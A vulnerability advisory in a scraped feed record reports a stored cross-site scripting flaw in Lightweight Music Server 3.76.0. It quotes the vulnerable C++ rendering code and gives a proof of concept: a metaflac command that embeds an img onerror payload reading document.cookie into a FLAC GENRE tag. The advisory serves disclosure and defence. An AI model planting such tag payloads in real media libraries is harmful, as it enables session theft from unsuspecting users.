{“lastseen”:”2026-05-31T18:50:26″,”description”:”Summary LMS Lightweight Music Server: A specific C++ based project focused on a low memory footprint, featuring built-in user management and a recommendation engine. Description LMS stores media file metadata tags such as GENRE, ARTIST, and ALBUM…”,”published”:”2026-05-31T00:00:00″,”modified”:”2026-05-31T00:00:00″,”type”:”zeroscience”,”title”:”Lightweight Music Server (LMS) 3.76.0 (metadata) Stored XSS”,”source”:””,”references”:””,”id”:”ZSL-2026-5987″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003eLightweight Music Server (LMS) 3.76.0 (metadata) Stored XSS\\r\\n\\r\\n\\r\\nVendor: Emeric Poupon\\r\\nProduct web page: https:\/\/github.com\/epoupon\/lms\\r\\nAffected version 3.76.0\\r\\n\\r\\nSummary: LMS (Lightweight Music Server): A specific C++ based\\r\\nproject focused on a low memory footprint, featuring built-in\\r\\nuser management and a recommendation engine.\\r\\n\\r\\nDesc: LMS stores media file metadata tags (such as GENRE, ARTIST,\\r\\nand ALBUM) exactly as written in the file and later renders them\\r\\nin its web interface without HTML-encoding, resulting in stored\\r\\ncross-site scripting. An attacker who gets a file with a malicious\\r\\ntag into the victim’s library has their payload saved during the\\r\\nnext library scan and executed automatically whenever a user views\\r\\nthat track’s information or plays the file in the web UI.\\r\\n\\r\\n————————————————————–\\r\\n\/src\/lms\/ui\/Utils.cpp\\r\\n———————\\r\\n131: std::unique_ptr\\u003cwt::winteractwidget\\u003e createFilter(const Wt::WString\\u0026amp; name, const Wt::WString\\u0026amp; tooltip, std::string_view colorStyleClass, bool canDelete)\\r\\n132: {\\r\\n133: auto res{ std::make_unique\\u003cwt::wtext\\u003e(Wt::WString{ canDelete ? \\”\\u003ci class=’\\\\\\”fa’ fa-times-circle=\\”\\”\\u003e\\u003c\/i\\u003e \\” : \\”\\” } + name, Wt::TextFormat::UnsafeXHTML) };\\r\\n134: res-\\u0026gt;setStyleClass(\\”Lms-badge-cluster badge me-1 \\” + std::string{ colorStyleClass });\\r\\n135: res-\\u0026gt;setInline(true);\\r\\n136: return res;\\r\\n137: }\\r\\n————————————————————–\\r\\n\\r\\nTested on: GNU\/Linux (ARM64)\\r\\n nginx\\r\\n\\r\\n\\r\\nVulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n @zeroscience\\r\\n\\r\\n\\r\\nAdvisory ID: ZSL-2026-5987\\r\\nAdvisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5987\\r\\n\\r\\n\\r\\n27.05.2026\\r\\n\\r\\n–\\r\\n\\r\\n\\r\\n$ metaflac –set-tag=GENRE=\\”\\u003cimg onerror=\\”alert(document.cookie)\\” src=\\”1\\”\/\\u003e\\” evil.flac\\r\\n$ metaflac –list evil.flac\\r\\nMETADATA block #0\\r\\n type: 0 (STREAMINFO)\\r\\n is last: false\\r\\n length: 34\\r\\n minimum blocksize: 4608 samples\\r\\n maximum blocksize: 4608 samples\\r\\n minimum framesize: 2305 bytes\\r\\n maximum framesize: 14124 bytes\\r\\n sample_rate: 44100 Hz\\r\\n channels: 2\\r\\n bits-per-sample: 16\\r\\n total samples: 4664587\\r\\n MD5 signature: 2aeee69c0153cb652c718dfdf0e9ff2d\\r\\nMETADATA block #1\\r\\n type: 4 (VORBIS_COMMENT)\\r\\n is last: false\\r\\n length: 98\\r\\n vendor string: Lavf57.83.100\\r\\n comments: 2\\r\\n comment[0]: encoder=Lavf57.83.100\\r\\n comment[1]: GENRE=\\u003cimg onerror=\\”alert(document.cookie)\\” src=\\”1\\”\/\\u003e\\r\\nMETADATA block #2\\r\\n type: 1 (PADDING)\\r\\n is last: true\\r\\n length: 8140\\r\\n\\r\\n\\u003c\/wt::wtext\\u003e\\u003c\/wt::winteractwidget\\u003e\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”https:\/\/www.zeroscience.mk\/codes\/lms_xss.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.zeroscience.mk\/advisories\/ZSL-2026-5987.html”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-31T18:50:26″,”description”:”Summary LMS Lightweight Music Server: A specific C++ based project focused on a low memory footprint, featuring built-in user management and a recommendation engine. Description…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-58700","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n